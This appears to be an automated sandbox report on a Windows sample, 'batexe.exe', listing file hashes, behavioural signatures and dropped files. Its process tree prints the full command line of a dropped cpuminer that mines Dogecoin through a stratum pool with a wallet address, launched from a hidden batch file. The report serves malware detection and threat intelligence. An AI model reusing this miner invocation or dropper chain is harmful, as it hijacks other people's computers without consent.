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Analysis
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max time kernel
296s -
max time network
299s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-ja -
resource tags
arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows -
submitted
18/02/2024, 14:30
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20240214-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231215-ja
General
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Target
batexe.exe
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Size
9.4MB
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MD5
cdc9eacffc6d2bf43153815043064427
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SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
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SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
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SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
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SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation batexe.exe Key value queried \REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation b2e.exe -
Executes dropped EXE 2 IoCs
pid Process 5104 b2e.exe 2152 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 2152 cpuminer-sse2.exe 2152 cpuminer-sse2.exe 2152 cpuminer-sse2.exe 2152 cpuminer-sse2.exe 2152 cpuminer-sse2.exe -
resource yara_rule behavioral2/memory/4012-9-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4012 wrote to memory of 5104 4012 batexe.exe 84 PID 4012 wrote to memory of 5104 4012 batexe.exe 84 PID 4012 wrote to memory of 5104 4012 batexe.exe 84 PID 5104 wrote to memory of 2228 5104 b2e.exe 85 PID 5104 wrote to memory of 2228 5104 b2e.exe 85 PID 5104 wrote to memory of 2228 5104 b2e.exe 85 PID 2228 wrote to memory of 2152 2228 cmd.exe 88 PID 2228 wrote to memory of 2152 2228 cmd.exe 88
Processes
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C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4012 -
C:\Users\Admin\AppData\Local\Temp\5BFB.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\5BFB.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5BFB.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5104 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6225.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:2228 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2152
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
27.8MB
MD5c63b8f5e64930763367af4206e756cdf
SHA173e36278d6cdf29716db230db758a060793ed29c
SHA256f3538e586fd010abe5d61a39da09f6a518638cf10e05162d4cdc10b4158cb4c9
SHA5121e03e23e91db1c695333149aec01be814cfdce28b4c3649df86b3c24a2f8c795fd0657632f3df82993296106af473106e06a886e1dd77b96f9111c86ee8266b4
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Filesize
64KB
MD53e63d8d147aec3c4d5e3e08d79395350
SHA1633cc399218c2915b895a83bda89bce9f37e39dc
SHA25639cc053a2dc8074a4530b02f00bd8bb723e52196224d978d9aad3b0f75740320
SHA512545308057e5ea490e55f5bdd7fbec20fd954f847cae6f60460a4b135bf76c4c8502d922768d8e3a96d29d4c3a513b91ebc40bcaf5395de2c50d4368fd46fc536
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Filesize
6.2MB
MD53895d468c971fc0e777c38eefb977764
SHA1d2ce65cd94478bda13e72418cf85745bc0692553
SHA256fbe733c6b15d866887417f3e614391b18f5bf19b20b65c3217ce574191334dfb
SHA512a1fe8060b1c885ae7a573e27f5a1bc016090a66c32f903af8e9cca4a4244e169113006970aedd276a60236b502c766746133bc490c948ce49a44b5b507cb4a51
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Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
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Filesize
2.3MB
MD54c04147c386ba8792ac6a03069572a8a
SHA1dda67789fc1d0f2469ca95f01a5c81034853ca6a
SHA256c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd
SHA512a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db
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Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
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Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
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Filesize
7.2MB
MD53bf986467fd68057a2c129fc50357e28
SHA16934de69fbaa8f2c3766ca893c18c39207a01933
SHA256160375a9a6a689f367926c7c8ba6d50fbc96960549888670e577fa7c1b96a618
SHA51253ea713277d3394e6b1f4432f6462f4f0db8705628f6cf7e1a8bdc46108eac1ba6ed03d0cb9509b0d820af43d552996a4b963ac422db7dcc32341c6c85be4eae
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Filesize
12.4MB
MD5d5ce6e836580dd4514fb3a9ed08ba01e
SHA1ab52e943d2935ed5626807581623f07c2a8cf834
SHA2565391c32e4f6b866d8b9b0da3176c4bc063ee3e1b14704e5667a609871c464b16
SHA5126cd14daa489f58070bb5bd1e92f8e9970ef1a58aff244af32589d9cb2ef0eb51364e18042dcca624e686afaf09a1d30a963d85d1531c7af8441f87f2375a55f9
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Filesize
10.1MB
MD5c7b3432a3759af62aec4d9dace3315ff
SHA13139afe5cad0cf6eeae31035a1ef4fbe46dc8198
SHA2561f18daa638544c9f8460f56a54f6b3513368169f01a3ad6fa07f2c37c43980e7
SHA512d0a7d66e561ab2ae459ce177fe01095a7b0782a9fbb65c8f83471c02ef2be889f070baa26052fea34340b8e6999f46d0ac2a122c2115003f5b3a36f220800360
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Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770